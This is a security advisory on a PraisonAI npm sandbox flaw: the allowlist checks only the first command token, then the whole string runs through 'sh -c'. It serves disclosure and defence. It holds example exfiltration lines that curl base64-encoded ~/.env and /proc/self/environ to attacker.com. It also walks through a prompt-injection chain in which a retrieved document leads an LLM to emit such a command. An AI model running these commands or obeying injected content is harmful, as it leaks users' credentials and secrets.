GHSA-vjv9-7m7j-h833: praisonai (npm): allowlist bypass enables RCE

GHSA-vjv9-7m7j-h833 HIGH
Published June 18, 2026
CISO Take

PraisonAI's npm TypeScript package exports a SandboxExecutor component marketed as safe command execution, but its CommandValidator approves a command by inspecting only the first whitespace token while subsequently passing the entire unmodified string to `spawn('sh', ['-c', command])` — allowing any chained shell command after a semicolon, &&, or || to execute with full PraisonAI process privileges. With a CVSS of 8.8 (AV:N/AC:L/PR:L/UI:N) and a deterministic, publicly documented PoC, the bar to exploit is effectively zero: an attacker only needs to prefix an arbitrary payload with an allowlisted token. This is particularly dangerous in AI agent pipelines where LLM output is routed into sandboxExec, as prompt injection becomes a direct path to OS command execution — enabling credential theft from environment variables, file exfiltration, and lateral movement. Upgrade npm:praisonai to 1.7.2 immediately and, as an interim control, enforce a denylist of shell metacharacters (;, &&, ||, |, backticks, $(), newlines) on any input reaching SandboxExecutor.

Sources: GitHub Advisory ATLAS

What is the risk?

High risk, exploitability is trivial. CVSS 8.8 with low attack complexity and no user interaction required means any application exposing command execution to lower-trust input — including LLM model output — is directly exploitable. The sandbox bypass is deterministic: the allowlist check passes on the first token, and the POSIX shell executes the full chained script without restriction. No CISA KEV listing and no weaponized tool reduce immediate opportunistic exploitation pressure, but the PoC is public and the technique requires no AI/ML expertise — a classic OS command injection using shell metacharacters. Risk is highest in agentic AI deployments where prompt injection can weaponize this into a remote code execution chain: adversary controls prompt → LLM generates chained command → executor runs arbitrary OS payload.

How does the attack unfold?

Prompt Injection
Adversary crafts a malicious prompt or injects content into a data source ingested by the LLM, causing the model to output a shell-chained command string beginning with an allowlisted token (e.g., `echo ok; curl attacker.com/exfil?d=$(cat ~/.env|base64)`).
AML.T0051
Allowlist Bypass
CommandValidator extracts only the first whitespace token from the command string, finds it in allowedCommands, and marks the entire chained command as valid — shell metacharacters and the appended payload are never inspected.
AML.T0107
Shell Execution
SandboxExecutor passes the full unmodified command string to `spawn('sh', ['-c', command])`, causing the OS shell to execute all chained commands including the non-allowlisted payload with PraisonAI process privileges.
AML.T0050
Data Exfiltration / Impact
Arbitrary OS commands execute with process-level access, enabling theft of API keys and credentials from environment variables, file system exfiltration, or further lateral movement within the host environment.
AML.T0086

What systems are affected?

Package Ecosystem Vulnerable Range Patched
PraisonAI npm >= 1.2.3, <= 1.7.1 1.7.2
1 dependents 68% patched ~14d to patch Full package profile →

Do you use PraisonAI? You're affected.

How severe is it?

CVSS 3.1
8.8 / 10
EPSS
N/A
Exploitation Status
No known exploitation
Sophistication
Trivial

What is the attack surface?

AV AC PR UI S C I A
AV Network
AC Low
PR Low
UI None
S Unchanged
C High
I High
A High

What should I do?

7 steps
  1. Patch: upgrade npm:praisonai to 1.7.2 or later — the fixed version rejects shell metacharacters before execution.

  2. Interim control if patching is delayed: validate all command inputs against a strict shell metacharacter denylist (;, &&, ||, |, backtick, $(), ${ }, newlines, >, <, `) before passing to SandboxExecutor or sandboxExec.

  3. Architecture hardening: replace spawn('sh', ['-c', command]) with spawn(executable, args, { shell: false }) or execFile() using discrete argv arrays — eliminates the shell interpreter as an attack surface.

  4. Apply allowedCommands validation to the exact executable post-normalization, not merely the first string token.

  5. Audit all code paths for use of SandboxExecutor, CommandValidator, or sandboxExec and trace what untrusted or model-generated input can reach them.

  6. Apply network egress controls to PraisonAI processes to limit exfiltration options.

  7. Detection: monitor for unexpected child processes spawned by the PraisonAI process (curl, wget, nc, id, whoami, base64) as a heuristic indicator of exploitation.

How is it classified?

Which compliance frameworks are affected?

This CVE is relevant to:

EU AI Act
Article 15 - Accuracy, robustness and cybersecurity
ISO 42001
A.9.7 - AI system security testing
NIST AI RMF
GOVERN-1.1 - Policies and processes for AI risk management are in place
OWASP LLM Top 10
LLM02 - Insecure Output Handling LLM07 - Insecure Plugin Design LLM08 - Excessive Agency

Frequently Asked Questions

What is GHSA-vjv9-7m7j-h833?

PraisonAI's npm TypeScript package exports a SandboxExecutor component marketed as safe command execution, but its CommandValidator approves a command by inspecting only the first whitespace token while subsequently passing the entire unmodified string to `spawn('sh', ['-c', command])` — allowing any chained shell command after a semicolon, &&, or || to execute with full PraisonAI process privileges. With a CVSS of 8.8 (AV:N/AC:L/PR:L/UI:N) and a deterministic, publicly documented PoC, the bar to exploit is effectively zero: an attacker only needs to prefix an arbitrary payload with an allowlisted token. This is particularly dangerous in AI agent pipelines where LLM output is routed into sandboxExec, as prompt injection becomes a direct path to OS command execution — enabling credential theft from environment variables, file exfiltration, and lateral movement. Upgrade npm:praisonai to 1.7.2 immediately and, as an interim control, enforce a denylist of shell metacharacters (;, &&, ||, |, backticks, $(), newlines) on any input reaching SandboxExecutor.

Is GHSA-vjv9-7m7j-h833 actively exploited?

No confirmed active exploitation of GHSA-vjv9-7m7j-h833 has been reported, but organizations should still patch proactively.

How to fix GHSA-vjv9-7m7j-h833?

1. Patch: upgrade npm:praisonai to 1.7.2 or later — the fixed version rejects shell metacharacters before execution. 2. Interim control if patching is delayed: validate all command inputs against a strict shell metacharacter denylist (;, &&, ||, |, backtick, $(), ${ }, newlines, >, <, `) before passing to SandboxExecutor or sandboxExec. 3. Architecture hardening: replace `spawn('sh', ['-c', command])` with `spawn(executable, args, { shell: false })` or `execFile()` using discrete argv arrays — eliminates the shell interpreter as an attack surface. 4. Apply allowedCommands validation to the exact executable post-normalization, not merely the first string token. 5. Audit all code paths for use of SandboxExecutor, CommandValidator, or sandboxExec and trace what untrusted or model-generated input can reach them. 6. Apply network egress controls to PraisonAI processes to limit exfiltration options. 7. Detection: monitor for unexpected child processes spawned by the PraisonAI process (curl, wget, nc, id, whoami, base64) as a heuristic indicator of exploitation.

What systems are affected by GHSA-vjv9-7m7j-h833?

This vulnerability affects the following AI/ML architecture patterns: Agent frameworks, LLM-driven automation pipelines, AI code execution sandboxes, Multi-agent orchestration systems.

What is the CVSS score for GHSA-vjv9-7m7j-h833?

GHSA-vjv9-7m7j-h833 has a CVSS v3.1 base score of 8.8 (HIGH).

What is the AI security impact?

Affected AI Architectures

Agent frameworksLLM-driven automation pipelinesAI code execution sandboxesMulti-agent orchestration systems

MITRE ATLAS Techniques

AML.T0050 Command and Scripting Interpreter
AML.T0051 LLM Prompt Injection
AML.T0053 AI Agent Tool Invocation
AML.T0105 Escape to Host
AML.T0107 Exploitation for Defense Evasion

Compliance Controls Affected

EU AI Act: Article 15
ISO 42001: A.9.7
NIST AI RMF: GOVERN-1.1
OWASP LLM Top 10: LLM02, LLM07, LLM08

What are the technical details?

Original Advisory

## Summary The published npm package `praisonai` exports `SandboxExecutor`, `CommandValidator`, and `sandboxExec` as "safe command execution with restrictions." When `allowedCommands` is configured, `CommandValidator` checks only the first whitespace-delimited token of the command string. `SandboxExecutor` then passes the entire original string to `spawn("sh", ["-c", command])`. With a policy that allows only `echo`, this direct command is correctly rejected: ```sh cat /tmp/marker ``` but this chained command is accepted and executed: ```sh echo allowed; cat /tmp/marker ``` The shell executes `cat` even though `cat` is not allowlisted. This bypasses the command allowlist and can execute arbitrary shell commands with the PraisonAI process privileges when an application, CLI workflow, or agent pipeline exposes sandbox command execution to lower-trust users, prompts, or model output. The PoV is deterministic and local-only. It creates and reads only a temporary marker file. ## Technical Details In `src/praisonai-ts/src/cli/features/sandbox-executor.ts`, `CommandValidator.validate()` normalizes the command and authorizes only the first whitespace token: ```ts const normalized = command.toLowerCase().trim(); if (this.allowedCommands) { const baseCmd = normalized.split(/\s+/)[0]; if (!this.allowedCommands.includes(baseCmd)) { return { valid: false, reason: `Command '${baseCmd}' not in allowlist` }; } } ``` The denylist does not generally reject shell separators. It blocks a few specific patterns such as `; rm`, but not `; cat`, `&&`, `||`, backticks, `$()`, or newline as a general policy boundary. `SandboxExecutor.spawn()` then executes the unmodified command string through a shell: ```ts const proc = spawn('sh', ['-c', command], { cwd: this.config.cwd, env, timeout: this.config.timeout, stdio: ['pipe', 'pipe', 'pipe'] }); ``` That creates a mismatch: the allowlist authorizes one command token, but the shell interprets the whole string as a script. The published `npm:praisonai@1.7.1` dist files preserve the same behavior: - `dist/cli/features/sandbox-executor.js` checks only `baseCmd`. - `dist/cli/features/sandbox-executor.js` later invokes `spawn("sh", ["-c", command])`. - `dist/index.js` exports `SandboxExecutor`, `CommandValidator`, and `sandboxExec`. ### Why This Is Not Intended Behavior PraisonAI's sandbox docs describe sandbox execution as a security feature for AI-generated commands, with command validation, resource limits, path restrictions, network isolation, and execution isolation. The TypeScript source also describes this component as "Safe command execution with restrictions." With `allowedCommands: ["echo"]`, PraisonAI correctly rejects `cat <marker>` when submitted directly. That proves the intended policy is to block non-allowlisted executables. The same policy allowing `echo allowed; cat <marker>` is therefore an authorization bypass, not merely a permissive configuration. ## PoV Run from a local reproduction checkout: ```bash node poc/pov_poc.js 1.7.1 ``` Expected output includes: ```json { "version": "1.7.1", "package": "npm:praisonai", "allowedCommands": ["echo"], "controls": { "directCatRejected": true, "benignEchoAllowed": true, "patchedControlRejectsChainedShell": true }, "observed": { "directPolicy": { "allowed": false, "reason": "Command 'cat' not in allowlist" }, "benignPolicy": { "allowed": true }, "chainedPolicy": { "allowed": true }, "chainedRun": { "success": true, "stdout": "allowed\npoc.7.1", "stderr": "", "exitCode": 0 }, "patchedControl": { "benign": { "allowed": true }, "direct": { "allowed": false, "reason": "Command 'cat' not in allowlist" }, "chained": { "allowed": false, "reason": "shell metacharacter rejected before execution" } } }, "vulnerable": true } ``` Interpretation: - Direct `cat <marker>` is rejected by the allowlist. - Benign `echo allowed` is accepted. - `echo allowed; cat <marker>` is accepted by the same allowlist and executes the non-allowlisted `cat`. - A patched-control validator that rejects shell metacharacters before execution blocks the chained command while still allowing benign `echo`. The PoV installs `npm:praisonai@1.7.1` into a temporary project, creates a temporary marker file, and reads only that file. It does not contact any live service or execute destructive commands. ## PoC The PoV section above contains the local reproduction command, input, and decisive output. ## Impact If lower-trust users, prompts, or model output can influence a command string sent to `SandboxExecutor` or `sandboxExec`, `allowedCommands` does not enforce the intended command boundary. An attacker can append arbitrary shell commands after an allowed first token and run them with the privileges of the PraisonAI process. Concrete consequences depend on the hosting application and configured process privileges, but can include reading or modifying files, invoking local tools, using available credentials, or causing denial of service. This report does not claim that npm PraisonAI exposes this as a default network service. It is a library-level sandbox/allowlist bypass in an exported TypeScript API that is explicitly designed for safe command execution. ### Severity Suggested severity: High. Rationale: - `AV`: common deployment pattern is an application exposing agent prompts or command automation over a network. - `AC`: attacker only needs to induce or submit a command string that starts with an allowed command. - `PR`: conservative base score assumes the attacker can submit prompts or command requests to the application. - `UI`: no operator action is needed once the command reaches the executor. - `S`: impact is in the PraisonAI-hosting process. - `C/I/A`: arbitrary shell commands can affect confidentiality, integrity, and availability depending on process privileges. If maintainers score only local CLI use, `AV:L` may be reasonable. If they score public unauthenticated prompt or command endpoints built on this API, `PR:N` may be reasonable. ## Suggested Fix Avoid passing policy-checked user strings to a shell. Recommended: 1. Require callers to pass `{ command, args }`, or parse command strings into argv with a shell-aware parser. 2. Execute with `spawn(command, args, { shell: false })` / `execFile()` instead of `sh -c`. 3. Apply `allowedCommands` to the exact executable after normalization. 4. Reject shell metacharacters (`;`, `&&`, `||`, `|`, backticks, `$()`, newline, redirects) when a shell string API must be kept for compatibility. 5. Add regression tests proving `allowedCommands: ["echo"]` allows `echo ok` but rejects `cat marker`, `echo ok; cat marker`, `echo ok && cat marker`, and `echo ok | cat marker`. ## Affected Package/Versions - Repository: `MervinPraison/PraisonAI` - Package: `npm:praisonai` - Component: TypeScript CLI feature `SandboxExecutor` - Current head validated: `1ad58ca02975ff1398efeda694ea2ab78f20cf3e` - Current tag validated: `v4.6.58` - Latest npm package validated: `1.7.1` Suggested affected range: ```text npm:praisonai >= 1.2.3, <= 1.7.1 ``` Selected version sweep: - `1.0.0`: package main cannot be required in the selected test environment. - `1.2.0`, `1.2.1`, `1.2.2`: `SandboxExecutor` is not exported. - `1.2.3`: vulnerable. - `1.2.4`: vulnerable. - `1.3.0`: vulnerable. - `1.3.6`: vulnerable. - `1.4.0`: vulnerable. - `1.5.0`: vulnerable. - `1.5.4`: vulnerable. - `1.6.0`: vulnerable. - `1.7.0`: vulnerable. - `1.7.1`: vulnerable. ## Advisory History This is distinct from known and previously submitted PraisonAI issues: - `GHSA-r4f2-3m54-pp7q` covers PyPI `SubprocessSandbox` `shell=True` and blocklist bypass. - `GHSA-2763-cj5r-c79m` covers PyPI `praisonai` OS command injection. - `GHSA-v7px-3835-7gjx` covers PyPI `memory/hooks.py` shell injection. - `GHSA-4wr3-f4p3-5wjh` covers Python agent tool approval allow-list manipulation. - `GHSA-4mr5-g6f9-cfrh` covers PyPI/Python `execute_code` sandbox escape. - `GHSA-9qhq-v63v-fv3j` covers an incomplete fix for a Python command injection. - `GHSA-vmmj-pfw7-fjwp` covers npm `codeMode` host-process `new Function` sandbox escape. No visible local or GitHub advisory covers npm TypeScript `SandboxExecutor`, `CommandValidator`, `allowedCommands`, or the first-token allowlist followed by `sh -c` shell-chaining root cause.

Exploitation Scenario

An adversary targets an organization running an AI automation workflow built on npm:praisonai where agent task descriptions or tool call arguments feed into sandboxExec. The adversary submits a crafted user prompt: 'Check system status and confirm.' The LLM, guided by injected context in a retrieved document, generates the command `echo status_ok; curl https://attacker.com/c2?d=$(cat /proc/self/environ | base64 -w0)`. The pipeline routes this output to sandboxExec with allowedCommands: ['echo']. CommandValidator extracts 'echo', confirms it is allowlisted, and returns valid. SandboxExecutor calls `spawn('sh', ['-c', 'echo status_ok; curl ...'])`. The shell executes both commands — the benign echo satisfies logging, and the curl exfiltrates all process environment variables (typically containing OPENAI_API_KEY, DATABASE_URL, AWS credentials, Stripe keys) to the attacker's server.

Weaknesses (CWE)

CWE-693 — Protection Mechanism Failure: The product does not use or incorrectly uses a protection mechanism that provides sufficient defense against directed attacks against the product.

Source: MITRE CWE corpus.

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Timeline

Published
June 18, 2026
Last Modified
June 18, 2026
First Seen
June 18, 2026

Related Vulnerabilities